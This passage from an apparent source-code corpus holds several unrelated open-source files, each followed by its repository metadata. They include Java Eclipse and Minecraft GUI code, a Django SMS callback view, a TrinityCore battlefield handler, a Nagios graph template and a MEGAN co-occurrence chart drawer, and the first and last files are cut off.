(Address >= ADDR_FLASH_SECTOR_4)) { sector = FLASH_SECTOR_4; } else if((Address < ADDR_FLASH_SECTOR_6) && (Address >= ADDR_FLASH_SECTOR_5)) { sector = FLASH_SECTOR_5; } else if((Address < ADDR_FLASH_SECTOR_7) && (Address >= ADDR_FLASH_SECTOR_6)) { sector = FLASH_SECTOR_6; } else /* (Address < FLASH_END_ADDR) && (Address >= ADDR_FLASH_SECTOR_7) */ { sector = FLASH_SECTOR_7; } return sector; } // //====================================================================== c_eep eep; // //======================================================================
jackeyjiang/meizi_f7disc
GUIDemo/emwin_task/smarthome/fdm/m_eep.cpp
C++
gpl-3.0
6,013
package sc.ndt.editor.fast.ui.mpe.outline; import java.util.ArrayList; import org.eclipse.jface.action.Action; import org.eclipse.jface.action.IMenuManager; import org.eclipse.jface.action.IStatusLineManager; import org.eclipse.jface.action.IToolBarManager; import org.eclipse.jface.viewers.CheckStateChangedEvent; import org.eclipse.jface.viewers.CheckboxTreeViewer; import org.eclipse.jface.viewers.ColumnLabelProvider; import org.eclipse.jface.viewers.ICheckStateListener; import org.eclipse.jface.viewers.ISelection; import org.eclipse.jface.viewers.ISelectionChangedListener; import org.eclipse.jface.viewers.ISelectionProvider; import org.eclipse.jface.viewers.SelectionChangedEvent; import org.eclipse.jface.viewers.TreeViewerColumn; import org.eclipse.swt.SWT; import org.eclipse.swt.events.FocusListener; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Control; import org.eclipse.swt.widgets.Tree; import org.eclipse.swt.widgets.TreeColumn; import org.eclipse.ui.IActionBars; import org.eclipse.ui.IEditorPart; import org.eclipse.ui.forms.editor.FormEditor; import org.eclipse.ui.part.IPageSite; import org.eclipse.ui.part.Page; import org.eclipse.ui.part.PageBook; import org.eclipse.ui.views.contentoutline.IContentOutlinePage; import org.eclipse.xtext.resource.XtextResource; import org.eclipse.xtext.util.concurrent.IUnitOfWork; import sc.ndt.commons.model.OutBlock; import sc.ndt.commons.model.OutCh; import sc.ndt.commons.model.OutList; import sc.ndt.commons.model.providers.outlist.OutListCheckStateProvider; import sc.ndt.commons.model.providers.outlist.OutListContentProvider; import sc.ndt.commons.model.providers.outlist.OutListLabelProvider; import sc.ndt.commons.model.providers.outlist.OutListToolTipSupport; import sc.ndt.commons.model.providers.outlist.OutListViewerComparator; import sc.ndt.commons.ui.views.EmptyOutlinePage; import sc.ndt.editor.fast.fastfst.ModelFastfst; import sc.ndt.editor.fast.ui.mpe.ui.FstFormPage; import sc.ndt.editor.fast.ui.mpe.ui.FstMultiPageEditor; public class OutListContentOutline extends Page implements IContentOutlinePage, ISelectionProvider/*, ISelectionChangedListener*/ { private PageBook pagebook; private ISelection selection; private ArrayList listeners; private /*ISortable*/IContentOutlinePage currentPage; private /*ISortable*/IContentOutlinePage emptyPage; private IActionBars actionBars; private boolean sortingOn; private CheckboxTreeViewer checkboxTreeViewer; private FstMultiPageEditor editor; private OutList outList; public OutListContentOutline(FormEditor formEditor) { this.editor = (FstMultiPageEditor)formEditor; // OutList outList = editor.outList; } public void init(IPageSite pageSite) { super.init(pageSite); pageSite.setSelectionProvider(this); //pageSite.getPage().addSelectionListener(this); } public void addSelectionChangedListener(ISelectionChangedListener listener) { //listeners.add(listener); } public void createControl(Composite parent) { //pagebook = new PageBook(parent, SWT.NONE); checkboxTreeViewer = new CheckboxTreeViewer(parent, SWT.MULTI); Tree treeTower = checkboxTreeViewer.getTree(); treeTower.setHeaderVisible(true); treeTower.setLinesVisible(true); GridData gd_treeTower = new GridData(SWT.FILL, SWT.TOP, true, false, 1, 1); gd_treeTower.heightHint = 400; treeTower.setLayoutData(gd_treeTower); TreeViewerColumn column_1 = new TreeViewerColumn(checkboxTreeViewer,SWT.NONE); TreeColumn treeColumn = column_1.getColumn(); treeColumn.setResizable(false); column_1.getColumn().setWidth(220); column_1.getColumn().setText("Output Channel"); column_1.setLabelProvider(new OutListLabelProvider()); TreeViewerColumn column_2 = new TreeViewerColumn(checkboxTreeViewer,SWT.NONE); TreeColumn treeColumn_1 = column_2.getColumn(); treeColumn_1.setResizable(false); column_2.getColumn().setWidth(60); column_2.getColumn().setText("Unit"); column_2.setLabelProvider(new ColumnLabelProvider() { public String getText(Object element) { if (element instanceof OutCh) return ((OutCh) element).unit; return ""; } }); checkboxTreeViewer.setContentProvider(new OutListContentProvider()); checkboxTreeViewer.setCheckStateProvider(new OutListCheckStateProvider()); checkboxTreeViewer.setComparator(new OutListViewerComparator()); checkboxTreeViewer.setInput(outList.getAllOutBlocks()); OutListToolTipSupport.enableFor(checkboxTreeViewer); // see // http://www.java2s.com/Code/Java/SWT-JFace-Eclipse/DemonstratesCheckboxTreeViewer.htm checkboxTreeViewer.addCheckStateListener(new ICheckStateListener() { public void checkStateChanged(CheckStateChangedEvent event) { if (event.getChecked()) { checkboxTreeViewer.setSubtreeChecked(event.getElement(), true); Object o = event.getElement(); if (o instanceof OutCh) { outList.get(((OutCh) o).name).setAvailable(true); } else if (o instanceof OutBlock) outList.setBlockSelected((OutBlock) o, true); } else if (!event.getChecked()) { checkboxTreeViewer.setSubtreeChecked(event.getElement(), false); Object o = event.getElement(); if (o instanceof OutCh) outList.get(((OutCh) o).name).setAvailable(false); else if (o instanceof OutBlock) outList.setBlockSelected((OutBlock) o, false); } // TODO write to xtext model editor.getXtextEditor("fst").getDocument().modify(new IUnitOfWork.Void<XtextResource>() { @Override public void process(XtextResource resource) throws Exception { ModelFastfst m = (ModelFastfst) resource.getContents().get(0); if (m != null && m.getOutList() != null) m.getOutList().setValue(outList.getAllSelectedByBlock()); else throw new IllegalStateException("Uh uh, no content"); }; }); checkboxTreeViewer.refresh(); } }); } public void dispose() { if (pagebook != null && !pagebook.isDisposed()) pagebook.dispose(); if (emptyPage != null) { emptyPage.dispose(); emptyPage = null; } pagebook = null; listeners = null; } public Control getControl() { return checkboxTreeViewer.getControl(); } public ISelection getSelection() { return selection; } public void makeContributions(IMenuManager menuManager, IToolBarManager toolBarManager, IStatusLineManager statusLineManager) { } public void removeSelectionChangedListener(ISelectionChangedListener listener) { //listeners.remove(listener); } public void selectionChanged(SelectionChangedEvent event) { setSelection(event.getSelection()); } public void setActionBars(IActionBars actionBars) { this.actionBars = actionBars; registerToolbarActions(actionBars); //if (currentPage != null) // setPageActive(currentPage); } public IActionBars getActionBars() { return actionBars; } public void setFocus() { if (currentPage != null) currentPage.setFocus(); } private /*ISortable*/IContentOutlinePage getEmptyPage() { if (emptyPage == null) emptyPage = new EmptyOutlinePage(); return emptyPage; } /*public void setPageActive(IContentOutlinePage page) { if (page == null) { page = getEmptyPage(); } if (currentPage != null) { currentPage.removeSelectionChangedListener(this); } //page.init(getSite()); //page.sort(sortingOn); page.addSelectionChangedListener(this); this.currentPage = page; if (pagebook == null) { // still not being made return; } Control control = page.getControl(); if (control == null || control.isDisposed()) { // first time page.createControl(pagebook); page.setActionBars(getActionBars()); control = page.getControl(); } pagebook.showPage(control); this.currentPage = page; }*/ /** * Set the selection. */ public void setSelection(ISelection selection) { this.selection = selection; if (listeners == null) return; SelectionChangedEvent e = new SelectionChangedEvent(this, selection); for (int i = 0; i < listeners.size(); i++) { ((ISelectionChangedListener) listeners.get(i)).selectionChanged(e); } } private void registerToolbarActions(IActionBars actionBars) { IToolBarManager toolBarManager = actionBars.getToolBarManager(); if (toolBarManager != null) { //toolBarManager.add(new ToggleLinkWithEditorAction(editor)); toolBarManager.add(new SortingAction()); } } class SortingAction extends Action { public SortingAction() { super(); /* TODO PlatformUI.getWorkbench().getHelpSystem().setHelp(this, IHelpContextIds.OUTLINE_SORT_ACTION); setText(PDEUIMessages.PDEMultiPageContentOutline_SortingAction_label); setImageDescriptor(PDEPluginImages.DESC_ALPHAB_SORT_CO); setDisabledImageDescriptor(PDEPluginImages.DESC_ALPHAB_SORT_CO_DISABLED); setToolTipText(PDEUIMessages.PDEMultiPageContentOutline_SortingAction_tooltip); setDescription(PDEUIMessages.PDEMultiPageContentOutline_SortingAction_description); setChecked(sortingOn); */ } public void run() { setChecked(isChecked()); valueChanged(isChecked()); } private void valueChanged(final boolean on) { sortingOn = on; //if (currentPage != null) // currentPage.sort(on); //PDEPlugin.getDefault().getPreferenceStore().setValue("PDEMultiPageContentOutline.SortingAction.isChecked", on); //$NON-NLS-1$ } } }
cooked/NDT
sc.ndt.editor.fast.fst.ui/src/sc/ndt/editor/fast/ui/mpe/outline/OutListContentOutline.java
Java
gpl-3.0
9,419
from datetime import datetime import json import traceback from django.http import HttpResponse from django.template import loader, Context from django.views.decorators.csrf import csrf_exempt from events.models import ScriptEvent, MessageEvent from profiles.models import PhoneNumber, format_phone from sms_messages.models import ScheduledScript, ScriptVariable from services.models import AppApi @csrf_exempt def callback(request): response = {} response['success'] = False response['error'] = { 'description': 'Not yet implemented' } response['parameters'] = {} if request.method == 'POST': message = json.loads(request.POST['message']) if message['action'] == 'fetch_clarification': lang_code = '' phone_number = message['parameters']['recipient'] phone_number = format_phone(phone_number) phone_objs = PhoneNumber.objects.filter(value=phone_number, active=True).order_by('priority') if phone_objs.count() > 0: lang_code = phone_objs[0].profile.primary_language template = None try: template = loader.get_template('clarification_' + lang_code + '.txt') except: template = loader.get_template('clarification.txt') c = Context({ 'message': message }) response['parameters']['clarification'] = template.render(c) response['success'] = True elif message['action'] == 'fetch_unsolicited_response': lang_code = '' phone_number = message['parameters']['recipient'] phone_number = format_phone(phone_number) phone_objs = PhoneNumber.objects.filter(value=phone_number, active=True).order_by('priority') if phone_objs.count() > 0: lang_code = phone_objs[0].profile.primary_language template = None try: template = loader.get_template('unsolicited_response_' + lang_code + '.txt') except: template = loader.get_template('unsolicited_response.txt') c = Context({ 'message': message }) response['parameters']['response'] = template.render(c) response['success'] = True elif message['action'] == 'set_value': script = ScheduledScript.objects.get(session=message['parameters']['session']) event = ScriptEvent(script=script, event='script_session_variable_set', value=json.dumps(message['parameters'])) event.save() variable = ScriptVariable(script=script, key=message['parameters']['key'], value=message['parameters']['value']) variable.save() response['success'] = True response['error']['description'] = '' elif message['action'] == 'log_session_started': script = ScheduledScript.objects.get(session=message['parameters']['session']) script.confirmed_date = datetime.now() script.save() event = ScriptEvent(script=script, event='script_session_started') event.save() response['success'] = True response['error']['description'] = '' elif message['action'] == 'log_receive': event = MessageEvent(type='receive', sender=message['parameters']['sender'], message=message['parameters']['message']) event.save() response['success'] = True response['error']['description'] = '' for app in AppApi.objects.all(): try: api = __import__(app.app_name + '.api', globals(), locals(), ['on_receive'], -1) api.on_receive(message['parameters']['sender'], message['parameters']['message']) except: traceback.print_exc() elif message['action'] == 'log_send': event = MessageEvent(type='send', recipient=message['parameters']['recipient'], message=message['parameters']['message']) event.save() response['success'] = True response['error']['description'] = '' else: request.META['wsgi.errors'].write('TODO: HANDLE ' + message['action']) response['success'] = True return HttpResponse(json.dumps(response), mimetype='application/json')
audaciouscode/SMSBot
smsbot_django/services/views.py
Python
gpl-3.0
4,783
# -*- coding: utf-8 -*- from ui import ui_elements from ui import ui_handler class my_text(ui_elements.Text): def start(self, args): self.set_text(args["text"]) self.set_pos((100, 100)) self.set_size(60) self.set_color((0, 0, 255)) def mouse_enter(self): self.set_color((255, 0, 0)) def mouse_leave(self): self.set_color((0, 0, 255)) #pos = self.get_pos() #new_pos = (pos[0] + 1, pos[1] + 1) #self.set_pos(new_pos) def mouse_down(self, buttons): self.set_color((0, 255, 0)) def mouse_up(self, buttons): self.set_color((0, 0, 255)) def init(screen): MyText = my_text(text="Just a Test UI element") my_handler = ui_handler.Handler(screen) my_handler.register(MyText) return my_handler
c-michi/pygame_ui
test_ui.py
Python
gpl-3.0
722
package com.jmd613.AM1.Client.gui; import com.jmd613.AM1.reference.Reference; import cpw.mods.fml.client.config.GuiConfig; import cpw.mods.fml.client.config.IConfigElement; import net.minecraft.client.gui.GuiScreen; import net.minecraftforge.common.config.ConfigElement; import net.minecraftforge.common.config.Configuration; import com.jmd613.AM1.handler.configurationHandler; import java.util.List; public class ModGuiConfig extends GuiConfig { public ModGuiConfig(GuiScreen parentScreen, List<IConfigElement> configElements, String modID, String configID, boolean allRequireWorldRestart, boolean allRequireMcRestart, String title) { super(parentScreen, configElements, modID, configID, allRequireWorldRestart, allRequireMcRestart, title); } }
TheGamingCore/Atomic-Mechanisms
src/main/java/com/jmd613/AM1/Client/gui/ModGuiConfig.java
Java
gpl-3.0
767
""" Copyright (c) 2012-2014 RockStor, Inc. <http://rockstor.com> This file is part of RockStor. RockStor is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. RockStor is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. """ from django.db import models class NetatalkShare(models.Model): YES = 'yes' NO = 'no' """share that is exported""" share = models.OneToOneField('Share', related_name='netatalkshare') """mount point of the share""" path = models.CharField(max_length=4096, unique=True) description = models.CharField(max_length=1024, default='afp on rockstor') BOOLEAN_CHOICES = ( (YES, 'yes'), (NO, 'no'), ) time_machine = models.CharField(max_length=3, choices=BOOLEAN_CHOICES, default=YES) def share_name(self, *args, **kwargs): return self.share.name def share_id(self, *args, **kwargs): return self.share.id @property def vol_size(self): return self.share.size class Meta: app_label = 'storageadmin'
schakrava/rockstor-core
src/rockstor/storageadmin/models/netatalk_share.py
Python
gpl-3.0
1,546
/******************************************************************************* * Copyright (C) 2015, CERN * This software is distributed under the terms of the GNU General Public * License version 3 (GPL Version 3), copied verbatim in the file "LICENSE". * In applying this license, CERN does not waive the privileges and immunities * granted to it by virtue of its status as Intergovernmental Organization * or submit itself to any jurisdiction. * * *******************************************************************************/ import java.io.FileNotFoundException; import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import javax.xml.stream.XMLStreamException; public class TestURLEncoder { public static void main(String[] args) throws FileNotFoundException, XMLStreamException, UnsupportedEncodingException { System.out.println(URLEncoder.encode("http://www.w3.org/2000/09/xmldsig#rsa-sha1","iso-8859-1")); char[] temp = fixUrlEncode(); System.out.println(new String(temp)); } public static char[] fixUrlEncode() throws UnsupportedEncodingException { char[] temp = URLEncoder.encode("http://www.w3.org/2000/09/xmldsig#rsa-sha1","iso-8859-1").toCharArray(); for (int i = 0; i < temp.length; i++) { if(temp[i] == '%'){ temp[i+1] = Character.toLowerCase(temp[i+1]); temp[i+2] = Character.toLowerCase(temp[i+2]); } } return temp; } }
cerndb/wls-cern-sso
saml2slo/test/TestURLEncoder.java
Java
gpl-3.0
1,415
<?php # # Plugin: check_centricstor # Author: Rene Koch <r.koch@ovido.at> # Date: 2012/12/06 # $opt[1] = "--vertical-label \"Caches free\" -l 0 --title \"Caches free on $hostname\" --slope-mode -N"; $opt[2] = "--vertical-label \"Caches dirty\" -l 0 --title \"Caches dirty on $hostname\" --slope-mode -N"; $def[1] = ""; $def[2] = ""; # process cache usage statistics foreach ($this->DS as $key=>$val){ $ds = $val['DS']; if (preg_match("/_free/", $val['NAME']) ){ $def[1] .= "DEF:var$key=$RRDFILE[$ds]:$ds:AVERAGE "; $label = preg_split("/_/", $LABEL[$ds]); $def[1] .= "LINE1:var$key#" . color() . ":\"" . $label[0] ." \" "; $def[1] .= "GPRINT:var$key:LAST:\"last\: %3.4lg%% \" "; $def[1] .= "GPRINT:var$key:MAX:\"max\: %3.4lg%% \" "; $def[1] .= "GPRINT:var$key:AVERAGE:\"average\: %3.4lg%% \"\\n "; }else{ $def[2] .= "DEF:var$key=$RRDFILE[$ds]:$ds:AVERAGE "; $label = preg_split("/_/", $LABEL[$ds]); $def[2] .= "LINE1:var$key#" . color() . ":\"" . $label[0] ." \" "; $def[2] .= "GPRINT:var$key:LAST:\"last\: %3.4lg%% \" "; $def[2] .= "GPRINT:var$key:MAX:\"max\: %3.4lg%% \" "; $def[2] .= "GPRINT:var$key:AVERAGE:\"average\: %3.4lg%% \"\\n "; } } # generate html color code function color(){ $color = dechex(rand(0,10000000)); while (strlen($color) < 6){ $color = dechex(rand(0,10000000)); } return $color; } ?>
ovido/check_centricstor
contrib/check_centricstor.php
PHP
gpl-3.0
1,393
/* * Copyright (C) 2011-2012 DarkCore <http://www.darkpeninsula.eu/> * Copyright (C) 2011-2012 Project SkyFire <http://www.projectskyfire.org/> * Copyright (C) 2008-2012 TrinityCore <http://www.trinitycore.org/> * Copyright (C) 2005-2012 MaNGOS <http://getmangos.com/> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 3 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "Common.h" #include "ObjectAccessor.h" #include "ObjectMgr.h" #include "WorldPacket.h" #include "WorldSession.h" #include "Battlefield.h" #include "BattlefieldMgr.h" #include "Opcodes.h" //This send to player windows for invite player to join the war //Param1:(BattleId) the BattleId of Bf //Param2:(ZoneId) the zone where the battle is (4197 for wg) //Param3:(time) Time in second that the player have for accept void WorldSession::SendBfInvitePlayerToWar(uint32 BattleId, uint32 ZoneId, uint32 p_time) { //Send packet WorldPacket data(SMSG_BATTLEFIELD_MGR_ENTRY_INVITE, 16); data << uint32(0); data << uint32(ZoneId); data << uint64(BattleId | 0x20000); //Sending the packet to player SendPacket(&data); } //This send invitation to player to join the queue //Param1:(BattleId) the BattleId of Bf void WorldSession::SendBfInvitePlayerToQueue(uint32 BattleId) { WorldPacket data(SMSG_BATTLEFIELD_MGR_QUEUE_INVITE, 5); data << uint8(0); data << uint8(1); // warmup data << uint32(0); data << uint32(0); data << uint32(0); data << uint32(0); data << uint32(0); data << uint64(BattleId); // BattleId //warmup ? used ? //Sending packet to player SendPacket(&data); } //This send packet for inform player that he join queue //Param1:(BattleId) the BattleId of Bf //Param2:(ZoneId) the zone where the battle is (4197 for wg) void WorldSession::SendBfQueueInviteResponce(uint32 BattleId, uint32 ZoneId) { WorldPacket data(SMSG_BATTLEFIELD_MGR_QUEUE_REQUEST_RESPONSE, 11); data << uint8(0); // unk, Logging In??? data << uint64(BattleId); data << uint32(ZoneId); data << uint64(GetPlayer()->GetGUID()); data << uint8(1); // 1 = accepted, 0 = You cant join queue right now data << uint8(1); // 1 = queued for next battle, 0 = you are queued, please wait... SendPacket(&data); } //This is call when player accept to join war //Param1:(BattleId) the BattleId of Bf void WorldSession::SendBfEntered(uint32 BattleId) { WorldPacket data(SMSG_BATTLEFIELD_MGR_ENTERED, 7); data << uint32(BattleId); data << uint8(1); //unk data << uint8(1); //unk data << uint8(_player->isAFK()?1:0); //Clear AFK SendPacket(&data); } //Send when player is kick from Battlefield void WorldSession::SendBfLeaveMessage(uint32 BattleId) { WorldPacket data(SMSG_BATTLEFIELD_MGR_EJECTED, 7); data << uint8(8); //byte Reason data << uint8(2); //byte BattleStatus data << uint64(BattleId); data << uint8(0); //bool Relocated SendPacket(&data); } //Send by client when he click on accept for queue void WorldSession::HandleBfQueueInviteResponse(WorldPacket & recv_data) { uint32 BattleId; uint8 Accepted; recv_data >> BattleId >> Accepted; sLog->outError("HandleQueueInviteResponse: BattleID:%u Accepted:%u", BattleId, Accepted); Battlefield* Bf = sBattlefieldMgr.GetBattlefieldByBattleId(BattleId); if (!Bf) return; if (Accepted) { Bf->PlayerAcceptInviteToQueue(_player); } } //Send by client on clicking in accept or refuse of invitation windows for join game void WorldSession::HandleBfEntryInviteResponse(WorldPacket & recv_data) { uint64 data; uint8 Accepted; recv_data >> Accepted >> data; uint64 BattleId = data &~ 0x20000; Battlefield* Bf= sBattlefieldMgr.GetBattlefieldByBattleId((uint32)BattleId); if(!Bf) return; //If player accept invitation if (Accepted) { Bf->PlayerAcceptInviteToWar(_player); } else { if (_player->GetZoneId() == Bf->GetZoneId()) Bf->KickPlayerFromBf(_player->GetGUID()); } } void WorldSession::HandleBfExitRequest(WorldPacket & recv_data) { uint32 BattleId; recv_data >> BattleId; sLog->outError("HandleBfExitRequest: BattleID:%u ", BattleId); Battlefield* Bf = sBattlefieldMgr.GetBattlefieldByBattleId(BattleId); if (!Bf) return; Bf->AskToLeaveQueue(_player); }
Darkpeninsula/Darkcore-Rebase
src/server/game/Handlers/BattlefieldHandler.cpp
C++
gpl-3.0
4,978
/* * CoOccurrenceDrawer.java Copyright (C) 2021. Daniel H. Huson * * (Some files contain contributions from other authors, who are then mentioned separately.) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * */ package megan.chart.drawers; import jloda.graph.*; import jloda.graph.algorithms.FruchtermanReingoldLayout; import jloda.swing.util.BasicSwing; import jloda.util.APoint2D; import jloda.util.Basic; import jloda.util.ProgramProperties; import megan.chart.IChartDrawer; import megan.chart.gui.ChartViewer; import megan.chart.gui.SelectionGraphics; import megan.util.ScalingType; import javax.swing.*; import java.awt.*; import java.awt.event.MouseEvent; import java.awt.geom.Line2D; import java.awt.geom.Point2D; import java.awt.geom.Rectangle2D; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Set; /** * draws a co-occurrence graph * Daniel Huson, 6.2012 */ public class CoOccurrenceDrawer extends BarChartDrawer implements IChartDrawer { public static final String NAME = "CoOccurrencePlot"; public enum Method {Jaccard, PearsonsR, KendallsTau} private int maxRadius = ProgramProperties.get("COMaxRadius", 40); private final Graph graph; private final EdgeArray<Float> edgeValue; private final Color PositiveColor = new Color(0x3F861C); private final Color NegativeColor = new Color(0xFB6542); private final Rectangle2D boundingBox = new Rectangle2D.Double(); private double minThreshold = ProgramProperties.get("COMinThreshold", 0.01d); // min percentage for class private int minProbability = ProgramProperties.get("COMinProbability", 70); // min co-occurrence probability in percent private int minPrevalence = ProgramProperties.get("COMinPrevalence", 10); // minimum prevalence in percent private int maxPrevalence = ProgramProperties.get("COMaxPrevalence", 90); // maximum prevalence in percent private boolean showAntiOccurring = ProgramProperties.get("COShowAntiOccurring", true); private boolean showCoOccurring = ProgramProperties.get("COShowCoOccurring", true); private Method method = Method.valueOf(ProgramProperties.get("COMethod", Method.Jaccard.toString())); /** * constructor */ public CoOccurrenceDrawer() { graph = new Graph(); edgeValue = new EdgeArray<>(graph); setSupportedScalingTypes(ScalingType.LINEAR); } /** * draw heat map with colors representing classes * * @param gc */ public void drawChart(Graphics2D gc) { final SelectionGraphics<String[]> sgc = (gc instanceof SelectionGraphics ? (SelectionGraphics<String[]>) gc : null); int y0 = getHeight() - bottomMargin; int y1 = topMargin; int x0 = leftMargin; int x1 = getWidth() - rightMargin; if (x0 >= x1) return; int leftRightLabelOverhang = (getWidth() > 200 ? 100 : 0); double drawWidth = (getWidth() - 2 * leftRightLabelOverhang); double drawHeight = (getHeight() - topMargin - 20 - 20); // minus extra 20 for bottom toolbar double factorX = drawWidth / boundingBox.getWidth(); double factorY = drawHeight / boundingBox.getHeight(); double dx = leftRightLabelOverhang - factorX * boundingBox.getMinX() + (drawWidth - factorX * boundingBox.getWidth()) / 2; double dy = topMargin + 20 - factorY * boundingBox.getMinY() + (drawHeight - factorY * boundingBox.getHeight()) / 2; Line2D line = new Line2D.Double(); /* gc.setColor(Color.BLUE); gc.drawRect((int) (factorX * boundingBox.getX() + dx) + 3, (int) (factorY * boundingBox.getY() + dy) + 3, (int) (factorX * boundingBox.getWidth()) - 6, (int) (factorY * boundingBox.getHeight()) - 6); */ gc.setColor(Color.BLACK); for (Edge e = graph.getFirstEdge(); e != null; e = graph.getNextEdge(e)) { Node v = e.getSource(); Point2D pv = ((NodeData) v.getData()).getLocation(); Node w = e.getTarget(); Point2D pw = ((NodeData) w.getData()).getLocation(); try { line.setLine(factorX * pv.getX() + dx, factorY * pv.getY() + dy, factorX * pw.getX() + dx, factorY * pw.getY() + dy); gc.setColor(edgeValue.get(e) > 0 ? PositiveColor : NegativeColor); gc.draw(line); if (isShowValues()) { gc.setColor(Color.DARK_GRAY); gc.setFont(getFont(ChartViewer.FontKeys.ValuesFont.toString())); gc.drawString(Basic.removeTrailingZerosAfterDot(String.format("%.4f", edgeValue.get(e))), (int) Math.round(0.5 * factorX * (pv.getX() + pw.getX()) + dx), (int) Math.round(0.5 * factorY * (pv.getY() + pw.getY()) + dy)); } } catch (Exception ex) { Basic.caught(ex); } } double maxPrevalence = 1; for (Node v = graph.getFirstNode(); v != null; v = graph.getNextNode(v)) { Integer prevalence = ((NodeData) v.getData()).getPrevalence(); if (prevalence > maxPrevalence) maxPrevalence = prevalence; } // draw all nodes in white to mask edges for (Node v = graph.getFirstNode(); v != null; v = graph.getNextNode(v)) { Point2D pv = ((NodeData) v.getData()).getLocation(); Integer prevalence = ((NodeData) v.getData()).getPrevalence(); double value = 0; if (scalingType == ScalingType.PERCENT) { value = prevalence / maxPrevalence; } else if (scalingType == ScalingType.LOG) { value = Math.log(prevalence + 1) / Math.log(maxPrevalence + 1); } else if (scalingType == ScalingType.SQRT) { value = Math.sqrt(prevalence) / Math.sqrt(maxPrevalence); } else value = prevalence / maxPrevalence; double size = Math.max(1, value * (double) maxRadius); int[] oval = {(int) (factorX * pv.getX() + dx - size), (int) (factorY * pv.getY() + dy - size), (int) (2 * size), (int) (2 * size)}; gc.setColor(Color.WHITE); // don't want to see the edges behind the nodes gc.fillOval(oval[0], oval[1], oval[2], oval[3]); } // draw all nodes in color: for (Node v = graph.getFirstNode(); v != null; v = graph.getNextNode(v)) { String className = ((NodeData) v.getData()).getLabel(); Point2D pv = ((NodeData) v.getData()).getLocation(); Integer prevalence = ((NodeData) v.getData()).getPrevalence(); double value = 0; if (scalingType == ScalingType.PERCENT) { value = prevalence / maxPrevalence; } else if (scalingType == ScalingType.LOG) { value = Math.log(prevalence + 1) / Math.log(maxPrevalence + 1); } else if (scalingType == ScalingType.SQRT) { value = Math.sqrt(prevalence) / Math.sqrt(maxPrevalence); } else value = prevalence / maxPrevalence; double size = Math.max(1, value * (double) maxRadius); int[] oval = {(int) (factorX * pv.getX() + dx - size), (int) (factorY * pv.getY() + dy - size), (int) (2 * size), (int) (2 * size)}; Color color = getChartColors().getClassColor(class2HigherClassMapper.get(className), 150); gc.setColor(color); if (sgc != null) sgc.setCurrentItem(new String[]{null, className}); gc.fillOval(oval[0], oval[1], oval[2], oval[3]); if (sgc != null) sgc.clearCurrentItem(); boolean isSelected = getChartData().getChartSelection().isSelected(null, className); if (isSelected) { gc.setColor(ProgramProperties.SELECTION_COLOR); if (oval[2] <= 1) { oval[0] -= 1; oval[1] -= 1; oval[2] += 2; oval[3] += 2; } gc.setStroke(HEAVY_STROKE); gc.drawOval(oval[0], oval[1], oval[2], oval[3]); gc.setStroke(NORMAL_STROKE); } else { gc.setColor(color.darker()); gc.drawOval(oval[0], oval[1], oval[2], oval[3]); } if ((showValues && value > 0) || isSelected) { String label = "" + prevalence; valuesList.add(new DrawableValue(label, oval[0] + oval[2] + 2, oval[1] + oval[3] / 2, isSelected)); } } // show labels if requested if (isShowXAxis()) { gc.setFont(getFont(ChartViewer.FontKeys.XAxisFont.toString())); for (Node v = graph.getFirstNode(); v != null; v = graph.getNextNode(v)) { String className = ((NodeData) v.getData()).getLabel(); Point2D pv = ((NodeData) v.getData()).getLocation(); Integer prevalence = ((NodeData) v.getData()).getPrevalence(); double value = 0; if (scalingType == ScalingType.PERCENT) { value = prevalence / maxPrevalence; } else if (scalingType == ScalingType.LOG) { value = Math.log(prevalence + 1) / Math.log(maxPrevalence + 1); } else if (scalingType == ScalingType.SQRT) { value = Math.sqrt(prevalence) / Math.sqrt(maxPrevalence); } else value = prevalence / maxPrevalence; double size = Math.max(1, value * (double) maxRadius); int[] oval = {(int) (factorX * pv.getX() + dx - size), (int) (factorY * pv.getY() + dy - size), (int) (2 * size), (int) (2 * size)}; Dimension labelSize = BasicSwing.getStringSize(gc, className, gc.getFont()).getSize(); int x = (int) Math.round(oval[0] + oval[2] / 2.0 - labelSize.getWidth() / 2); int y = oval[1] - 2; if (getChartData().getChartSelection().isSelected(null, className)) { gc.setColor(ProgramProperties.SELECTION_COLOR); fillAndDrawRect(gc, x, y, labelSize.width, labelSize.height, 0, ProgramProperties.SELECTION_COLOR, ProgramProperties.SELECTION_COLOR_DARKER); } gc.setColor(getFontColor(ChartViewer.FontKeys.XAxisFont.toString(), Color.BLACK)); if (sgc != null) sgc.setCurrentItem(new String[]{null, className}); gc.drawString(className, x, y); if (sgc != null) sgc.clearCurrentItem(); } } if (valuesList.size() > 0) { gc.setFont(getFont(ChartViewer.FontKeys.YAxisFont.toString())); gc.setFont(getFont(ChartViewer.FontKeys.ValuesFont.toString())); DrawableValue.drawValues(gc, valuesList, false, true); valuesList.clear(); } } /** * draw heat map with colors representing series * * @param gc */ public void drawChartTransposed(Graphics2D gc) { gc.setFont(getFont(ChartViewer.FontKeys.XAxisFont.toString())); } /** * update the view */ public void updateView() { // todo: may need to this in a separate thread updateGraph(); embedGraph(); } /** * computes the co-occurrences graph */ private void updateGraph() { graph.clear(); Map<String, Node> className2Node = new HashMap<>(); // setup nodes for (String aClassName : getChartData().getClassNames()) { int numberOfSeriesContainingClass = 0; for (String series : getChartData().getSeriesNames()) { final double percentage = 100.0 * 